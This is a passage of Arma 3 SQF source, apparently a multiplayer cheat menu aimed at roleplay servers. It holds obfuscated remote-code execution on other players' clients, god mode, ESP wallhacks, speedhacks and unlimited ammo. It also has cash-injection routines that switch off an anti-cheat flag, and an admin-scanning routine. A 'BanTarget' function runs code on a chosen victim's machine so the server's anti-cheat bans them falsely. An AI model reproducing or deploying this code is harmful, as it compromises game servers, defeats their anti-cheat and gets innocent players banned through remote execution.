- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};call compile toString [95,112,111,115,32,61,32,103,101,116,112,111,115,32,112,108,97,121,101,114,59,95,99,104,117,116,101,32,61,32,34,83,116,101,101,114,97,98,108,101,95,80,97,114,97,99,104,117,116,101,95,70,34,32,99,114,101,97,116,101,86,101,104,105,99,108,101,32,91,48,44,48,44,48,93,59,95,99,104,117,116,101,32,115,101,116,80,111,115,32,91,95,112,111,115,32,115,101,108,101,99,116,32,48,44,95,112,111,115,32,115,101,108,101,99,116,32,49,44,32,49,48,48,48,93,59,112,108,97,121,101,114,32,109,111,118,101,73,110,100,114,105,118,101,114,32,95,99,104,117,116,101,59];};
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- Kit_Cop = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _unit=player;
- removeallweapons _unit;
- removeVest _unit;
- _unit addVest "V_Rangemaster_belt";
- removebackpack _unit;
- removeuniform _unit;
- _unit addUniform "U_Rangemaster";
- _unit addWeapon "hgun_P07_sndGEF_F";
- player addWeapon "Binocular";
- _magazines = getArray (configFile >> "CfgWeapons" >> "hgun_P07_sndGEF_F" >> "magazines");
- {
- player addmagazine _x;
- player addmagazine _x;
- player addmagazine _x;
- player addmagazine _x;
- }foreach _magazines;
- reload player;
- };
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- Kit_Assault = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_IG_Guerilla3_1";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "30Rnd_556x45_Stanag";
- _wset addweapon "arifle_TRG21_ACO_pointer_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "optic_Aco";
- _wset addPrimaryWeaponItem "muzzle_sndGEF_M";
- _wset addHandgunItem "muzzle_sndGEF_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo ["FirstAidKit",2];
- (unitBackpack _wset) additemCargo ["30Rnd_556x45_Stanag", 9];
- (unitBackpack _wset) additemCargo ["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo ["handGrenade", 2];
- (unitBackpack _wset) additemCargo ["NLAW_F", 2];
- };
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- Kit_Heavy = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_OG_leader";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "150Rnd_762x51_Box_Tracer";
- _wset addweapon "LMG_Zafir_pointer_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "optic_LRPS";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_sndGEF_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo ["FirstAidKit",2];
- (unitBackpack _wset) additemCargo ["150Rnd_762x51_Box_Tracer", 9];
- (unitBackpack _wset) additemCargo ["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo ["handGrenade", 2];
- (unitBackpack _wset) additemCargo ["NLAW_F", 2];
- };
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- Kit_DMR = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_O_GhillieSuit";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "10Rnd_762x51_Mag";
- _wset addweapon "srifle_DMR_01_DMGEF_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_sndGEF_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo ["FirstAidKit",2];
- (unitBackpack _wset) additemCargo ["10Rnd_762x51_Mag", 9];
- (unitBackpack _wset) additemCargo ["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo ["handGrenade", 2];
- (unitBackpack _wset) additemCargo ["NLAW_F", 2];
- };
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- Kit_LLR = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_O_CombatUniform_oucamo";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_oucamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "7Rnd_408_Mag";
- _wset addweapon "srifle_LRR_LRPGEF_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_sndGEF_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo ["FirstAidKit",2];
- (unitBackpack _wset) additemCargo ["7Rnd_408_Mag", 9];
- (unitBackpack _wset) additemCargo ["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo ["handGrenade", 2];
- (unitBackpack _wset) additemCargo ["NLAW_F", 2];
- };
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- Kit_Sniper = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_O_GhillieSuit";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "20rnd_762x51_mag";
- _wset addweapon "srifle_ebr_f";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "optic_sos";
- _wset addPrimaryWeaponItem "muzzle_sndGEF_B";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_sndGEF_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo ["FirstAidKit",2];
- (unitBackpack _wset) additemCargo ["20rnd_762x51_mag", 9];
- (unitBackpack _wset) additemCargo ["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo ["handGrenade", 2];
- (unitBackpack _wset) additemCargo ["NLAW_F", 2];
- };
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- Kit_Sub = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_OrestesBody";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_PDW2000_Holo_sndGEF_F";
- _wset addMagazine "6Rnd_45ACP_Cylinder";
- _wset addweapon "hgun_Pistol_heavy_02_YorriGEF_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "muzzle_sndGEF_B";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo ["FirstAidKit",2];
- (unitBackpack _wset) additemCargo ["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo ["6Rnd_45ACP_Cylinder", 9];
- (unitBackpack _wset) additemCargo ["handGrenade", 2];
- (unitBackpack _wset) additemCargo ["NLAW_F", 2];
- };
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- Kit_UAV = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_HelmetIA_camo";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_I_CombatUniform";
- _wset addVest "V_PlateCarrierIA2_dgtl";
- _wset addBackpack "B_UAV_01_backpack_F";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "30Rnd_556x45_Stanag";
- _wset addweapon "arifle_Mk20_ACO_pointer_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "muzzle_sndGEF_B";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_sndGEF_L";
- _wset additem "B_UavTerminal";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo ["FirstAidKit",2];
- (unitBackpack _wset) additemCargo ["30Rnd_556x45_Stanag", 9];
- (unitBackpack _wset) additemCargo ["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo ["handGrenade", 2];
- (unitBackpack _wset) additemCargo ["NLAW_F", 2];
- };
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- Kit_Diver = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Diving";
- _wset addUniform "U_I_Wetsuit";
- _wset addVest "V_RebreatherB";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "30Rnd_556x45_Stanag_Tracer_Red";
- _wset addweapon "arifle_SDAR_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "muzzle_sndGEF_B";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_sndGEF_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo ["FirstAidKit",2];
- (unitBackpack _wset) additemCargo ["30Rnd_556x45_Stanag_Tracer_Red", 9];
- (unitBackpack _wset) additemCargo ["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo ["handGrenade", 2];
- (unitBackpack _wset) additemCargo ["NLAW_F", 2];
- };
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- GEF_NoClip = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(GEF_NoClip_Toggle) then {
- hint "No Clip ON";
- _clipList = [];
- while{GEF_NoClip_Toggle} do {
- _objects = ((position player) nearObjects 100);
- {
- if !(_x in _clipList) then {
- _clipList = _clipList + [_x];
- player disableCollisionWith _x;
- };
- } forEach _objects;
- {
- if !(_x in _objects) then {
- _clipList = _clipList - [_x];
- player enableCollisionWith _x;
- };
- } forEach _clipList;
- };
- {
- player enableCollisionWith _x;
- } forEach _clipList;
- } else {
- hint "No Clip OFF";
- };
- };
- GEF_Invisible = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_InvisTarget = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _object = _this select 0;
- _hide = _this select 1;
- _object hideObject _hide;
- };
- };
- [_code,true] call GEF_Rmote;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + "_player = objnull; {if(name _x == '" + name player + "') then {_player = _x;};} forEach playableunits; [_player," + str GEF_Invisible_Toggle + "] spawn LY_InvisTarget;");
- [_code,true] call GEF_Rmote;
- };
- GEF_Terrain = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if (GEF_Terrain_Toggle) then {
- setTerrainGrid 50;
- hint "Terrain Low";
- cutText [format["Terrain Low"], "PLAIN DOWN"];
- } else {
- setTerrainGrid 12.5;
- hint "Terrain Normal";
- cutText [format["Terrain Normal"], "PLAIN DOWN"];
- };
- };
- GEF_RapidFire = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(GEF_RapidFire_Toggle) then { hint "Rapid Fire ON";} else {hint "Rapid Fire OFF";};
- while{GEF_RapidFire_Toggle} do {
- (vehicle player) setWeaponReloadingTime [(vehicle player),currentWeapon (vehicle player),0];
- player setWeaponReloadingTime [player,currentWeapon player,0];
- };
- (vehicle player) setWeaponReloadingTime [(vehicle player),currentWeapon (vehicle player),1];
- player setWeaponReloadingTime [player,currentWeapon player,1];
- };
- GEF_NoRecoil = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(GEF_NoRecoil_Toggle) then {hint "No Recoil ON!";} else {hint "No Recoil OFF!";};
- while{GEF_NoRecoil_Toggle} do {
- player setUnitRecoilCoefficient 0;
- };
- player setUnitRecoilCoefficient 1;
- };
- GEF_UnlimitedAmmo = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(GEF_UnlimitedAmmo_Toggle) then { hint "Unlimited Amoo ON";} else {hint "Unlimited Ammo OFF";};
- while{GEF_UnlimitedAmmo_Toggle} do {
- (vehicle player) setVehicleAmmo 1;
- };
- };
- GEF_SpeedHack = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(GEF_VehicleSpeedhack_Toggle) then {
- hint "Speedhack ON";
- cutText [format["Speehack ON"], "PLAIN DOWN"];
- waituntil {!isnull (finddisplay 46)};
- Speed_Hack_cus = (findDisplay 46) displayAddEventHandler ["KeyDown","(_this select 1) call cuGEF_SPEED_DOWN;false"];
- cuGEF_SPEED_DOWN =
- {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _cuGEF_Vehicle = vehicle player;
- if(_cuGEF_Vehicle == player)exitwith{};
- if(isEngineOn _cuGEF_Vehicle) then
- {
- switch (_this) do
- {
- case 18:
- {
- if(isEngineOn _cuGEF_Vehicle) then
- {
- _cuGEF_Vehicle setVelocity [(velocity _cuGEF_Vehicle select 0) * 1.02, (velocity _cuGEF_Vehicle select 1) * 1.02, (velocity _cuGEF_Vehicle select 2) * 0.99];
- };
- };
- };
- };
- };
- } else {
- hint "Speedhack OFF";
- cutText [format["Speedhack OFF"], "PLAIN DOWN"];
- cuGEF_SPEED_DOWN = nil;
- (findDisplay 46) displayRemoveEventHandler ["KeyDown", Speed_Hack_cus];
- };
- };
- GEF_Esp = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _r = 255;
- _g = 0;
- _b = 0;
- RGB = [0,0,0,1];
- if(GEF_ESP_TOGGLE) then {
- addMissionEventHandler ["Draw3D",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- {
- if((isPlayer _x) && ((side _x) == (side player)) && ((player distance _x) < 700) && (getplayeruid _x != "")) then {
- _pos = getposatl _x;
- _eyepos = ASLtoATL eyepos _x;
- if((getTerrainHeightASL [_pos select 0,_pos select 1]) < 0) then {
- _eyepos = eyepos _x;
- _pos = getposasl _x;
- };
- _1 = _x modelToWorld [-0.5,0,0];
- _2 = _x modelToWorld [0.5,0,0];
- _3 = _x modelToWorld [-0.5,0,0];
- _4 = _x modelToWorld [0.5,0,0];
- _1 set [2,_pos select 2];
- _2 set [2,_pos select 2];
- _3 set [2,(_eyepos select 2)+0.25];
- _4 set [2,(_eyepos select 2)+0.25];
- _HP = (damage _x - 1) * -100;
- _fontsize = 0.02;
- _eyepos set [2,(_3 select 2) - 0.1];
- drawIcon3D["",[0,1,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
- drawLine3D[_1,_2,[0,1,0,1]];
- drawLine3D[_2,_4,[0,1,0,1]];
- drawLine3D[_4,_3,[0,1,0,1]];
- drawLine3D[_3,_1,[0,1,0,1]];
- };
- if((isPlayer _x) && ((side _x) != (side player)) && ((player distance _x) < 1400) && (getplayeruid _x != "")) then {
- _pos = getposatl _x;
- _eyepos = ASLtoATL eyepos _x;
- _1 = _x modelToWorld [-0.5,0,0];
- _2 = _x modelToWorld [0.5,0,0];
- _3 = _x modelToWorld [-0.5,0,0];
- _4 = _x modelToWorld [0.5,0,0];
- _1 set [2,_pos select 2];
- _2 set [2,_pos select 2];
- _3 set [2,(_eyepos select 2)+0.25];
- _4 set [2,(_eyepos select 2)+0.25];
- _HP = (damage _x - 1) * -100;
- _fontsize = 0.02;
- _eyepos set [2,(_3 select 2) - 0.1];
- drawIcon3D["",[1,0,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
- drawLine3D[_1,_2,[1,0,0,1]];
- drawLine3D[_2,_4,[1,0,0,1]];
- drawLine3D[_4,_3,[1,0,0,1]];
- drawLine3D[_3,_1,[1,0,0,1]];
- };
- } forEach playableUnits;
- }];
- } else {
- removeAllMissionEventHandlers "Draw3D";
- };
- };
- GEF_God = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(GEF_god_TOGGLE) then {
- player allowDamage false;
- player removeAllEventHandlers "handleDamage";
- player addEventHandler ["HandleDamage",{false}];
- player setDamage 0;
- hintSilent format["%1 Enabled!",toString [71,111,100,77,111,100,101]];
- } else {
- player allowDamage true;
- player removeAllEventHandlers "handleDamage";
- player addEventHandler ["HandleDamage",{true}];
- player setDamage 0;
- hintSilent format["%1 Disabled!",toString [71,111,100,77,111,100,101]];
- };
- };
- GEF_VehGod = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(GEF_VEHgod_TOGGLE) then {hintSilent format["Vehicle %1 Enabled",toString [71,111,100,77,111,100,101]];} else {hintSilent format["Vehicle %1 Disabled",toString [71,111,100,77,111,100,101]];};
- while{GEF_VEHgod_TOGGLE} do {
- waitUntil{vehicle player != player};
- _veh = vehicle player;
- _veh removeAllEventHandlers "handleDamage";
- _veh addEventHandler ["handleDamage", {false}];
- _veh allowDamage false;
- _veh setDamage 0;
- _veh setFuel 1;
- waitUntil{vehicle player == player};
- _veh removeAllEventHandlers "handleDamage";
- _veh addEventHandler ["handleDamage", {true}];
- _veh allowDamage true;
- };
- };
- };
- ["Scripts For ALIFE"] call {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- GEF_IRevive = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [] spawn {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- while{true} do {
- waitUntil{player getVariable ["REVIVE",false] && alive player == false};
- _target = player;
- [[name player],"life_fnc_revived",_target,FALSE] spawn life_fnc_MP;
- };
- };
- hint 'Instant Revive Enabled';
- };
- GEF_ACash = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- ["atm","set",100000] call life_fnc_updateCash;
- hint 'cash added';
- };
- GEF_Talents = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- life_experience = 50000;
- hint 'select talents from talent menu!';
- };
- GEF_FindAdmins = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- GEF_Admins = [];
- GEF_NotAdmins = [];
- "AdminFound" addPublicVariableEventHandler {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _arr = _this select 1;
- _player = _arr select 0;
- _admin = _arr select 1;
- _loggedin = _arr select 2;
- if(_admin == 0 && !_loggedin) exitWith {GEF_NotAdmins = GEF_NotAdmins + [_player];};
- GEF_Admins = GEF_Admins + [_player];
- _hint = "Found Admins\n";
- {
- _hint = _hint + "\nAdmin: " + name _x;
- } forEach GEF_Admins;
- hint _hint;
- };
- {
- _time = time;
- _toClient = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- AdminFound = [player,life_adminLevel,serverCommandAvailable "#kick"];
- publicVariable "AdminFound";
- };
- [_toClient,_x] call GEF_Rmote;
- waitUntil{_x in GEF_Admins || _x in GEF_NotAdmins || time >= (_time + 10)};
- } forEach playableUnits;
- {
- _hint = _hint + "\nAdmin: " + name _x;
- } forEach GEF_Admins;
- _hint = _hint + "\n\nDone Searching!";
- hint _hint;
- };
- GEF_BanTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target = _this call mp_GetObject;
- [{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [[profileName,getPlayerUID player,_x],"SPY_fnc_cookieJar",false,false] spawn life_fnc_MP;
- [[profileName,format["Variable: %1",_x]],"SPY_fnc_notifyAdmins",true,false] spawn life_fnc_MP;
- sleep 0.5;
- ["SpyGlass",false,false] call bis_fnc_endMission;
- },_target] call GEF_Rmote;
- };
- GEF_Cash5k = {
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- setcash = true;
- if(isNil "cash_var") then {cash_var = "swag";};
- if(cash_var == "swag") then {
- _search = preprocessfilelinenumbers "core\configuration.sqf";
- _words = [_search," "] call bis_fnc_splitString;
- _index = _words find "west:";
- if(_index != -1) then {
- _varIndex = _index + 1;
- _varTemp = _words select _varIndex;
- _varTemp = toLower(_varTemp);
- _low = (toArray("a") select 0);
- _high = (toArray("z") select 0);
- _allowedLetters = toArray("_1234567890");
- _newArray = [];
- _oldArray = toArray(_varTemp);
- for "_i" from 0 to count(_oldArray)-1 do {
- _val = _oldArray select _i;
- if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
- _newArray set[count(_newArray),_val];
- }
- };
- cash_var = toString _newArray;
- } else {
- setcash = false;
- };
- };
- if(!setcash) exitWith {hint "failed to find life cash variable! Sorry :(";};
- call compile format["%1 = %1 + 5000;",cash_var];
- hint "Money Added :P";
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- };
- GEF_Cash10k = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- setcash = true;
- if(isNil "cash_var") then {cash_var = "swag";};
- if(cash_var == "swag") then {
- _search = preprocessfilelinenumbers "core\configuration.sqf";
- _words = [_search," "] call bis_fnc_splitString;
- _index = _words find "west:";
- if(_index != -1) then {
- _varIndex = _index + 1;
- _varTemp = _words select _varIndex;
- _varTemp = toLower(_varTemp);
- _low = (toArray("a") select 0);
- _high = (toArray("z") select 0);
- _allowedLetters = toArray("_1234567890");
- _newArray = [];
- _oldArray = toArray(_varTemp);
- for "_i" from 0 to count(_oldArray)-1 do {
- _val = _oldArray select _i;
- if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
- _newArray set[count(_newArray),_val];
- }
- };
- cash_var = toString _newArray;
- } else {
- setcash = false;
- };
- };
- if(!setcash) exitWith {hint "failed to find life cash variable! Sorry :(";};
- call compile format["%1 = %1 + 10000;",cash_var];
- hint "Money Added :P";
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- };
- GEF_Cash20k = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- setcash = true;
- if(isNil "cash_var") then {cash_var = "swag";};
- if(cash_var == "swag") then {
- _search = preprocessfilelinenumbers "core\configuration.sqf";
- _words = [_search," "] call bis_fnc_splitString;
- _index = _words find "west:";
- if(_index != -1) then {
- _varIndex = _index + 1;
- _varTemp = _words select _varIndex;
- _varTemp = toLower(_varTemp);
- _low = (toArray("a") select 0);
- _high = (toArray("z") select 0);
- _allowedLetters = toArray("_1234567890");
- _newArray = [];
- _oldArray = toArray(_varTemp);
- for "_i" from 0 to count(_oldArray)-1 do {
- _val = _oldArray select _i;
- if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
- _newArray set[count(_newArray),_val];
- }
- };
- cash_var = toString _newArray;
- } else {
- setcash = false;
- };
- };
- if(!setcash) exitWith {hint "failed to find life cash variable! Sorry :(";};
- call compile format["%1 = %1 + 20000;",cash_var];
- hint "Money Added :P";
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- };
- GEF_Cash50k = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- setcash = true;
- if(isNil "cash_var") then {cash_var = "swag";};
- if(cash_var == "swag") then {
- _search = preprocessfilelinenumbers "core\configuration.sqf";
- _words = [_search," "] call bis_fnc_splitString;
- _index = _words find "west:";
